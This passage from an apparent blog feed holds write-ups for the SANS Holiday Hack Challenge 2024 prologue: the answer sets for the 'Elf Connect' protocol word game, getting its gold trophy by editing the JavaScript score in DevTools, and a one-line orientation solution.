class=&#34;variable constant_&#34;&gt;ICMP&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt; --&amp;gt; &lt;span class=&#34;variable constant_&#34;&gt;TLS&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;SSL&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;IPSec&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;SSH&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt; --&amp;gt; &lt;span class=&#34;title class_&#34;&gt;Ethernet&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;PPP&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;IEEE&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;802.11&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;ARP&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt; --&amp;gt; &lt;span class=&#34;variable constant_&#34;&gt;HTTP&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;FTP&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;SMTP&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;DNS&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;####################&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h2 id=&#34;Gold-trophy&#34;&gt;&lt;a href=&#34;#Gold-trophy&#34; class=&#34;headerlink&#34; title=&#34;Gold trophy&#34;&gt;&lt;/a&gt;Gold trophy&lt;/h2&gt;&lt;p&gt;Analyzing the JS for &lt;code&gt;score&lt;/code&gt; it’s possible to notice it gets incremented by &lt;code&gt;100&lt;/code&gt; on correct answers:&lt;/p&gt;
&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;// Update score by 100 points&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;score += &lt;span class=&#34;number&#34;&gt;100&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;By modifying the &lt;code&gt;score&lt;/code&gt; from DevTools and triggering a correct answer, I achieved the gold trophy:&lt;br&gt;&lt;img src=&#34;/2024/11/11/2024-02-Elf-Connect/02_01_ElfConnect_Devtools.png&#34;&gt;&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="prologue" />
        <category term="Elf Connect" />
        <category term="Angel Candysalt" />
        <updated>2024-11-11T02:00:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2024/11/11/2024-01-Holiday-Hack-Orientation/</id>
        <title>Holiday Hack Orientation</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2024/11/11/2024-01-Holiday-Hack-Orientation/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄&lt;/span&gt; ❄ ❄ ❄ ❄&lt;br&gt;Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands&lt;/p&gt;
&lt;h2 id=&#34;Kind-of-Solution&#34;&gt;&lt;a href=&#34;#Kind-of-Solution&#34; class=&#34;headerlink&#34; title=&#34;(Kind of) Solution&#34;&gt;&lt;/a&gt;(Kind of) Solution&lt;/h2&gt;&lt;p&gt;Click on the terminal and type &lt;code&gt;answer&lt;/code&gt; as the answer :)&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="prologue" />
        <category term="Holiday Hack Orientation" />
        <category term="Jingle Ringford" />
        <updated>2024-11-11T01:00:00.000Z</updated>
    </entry>
</feed>
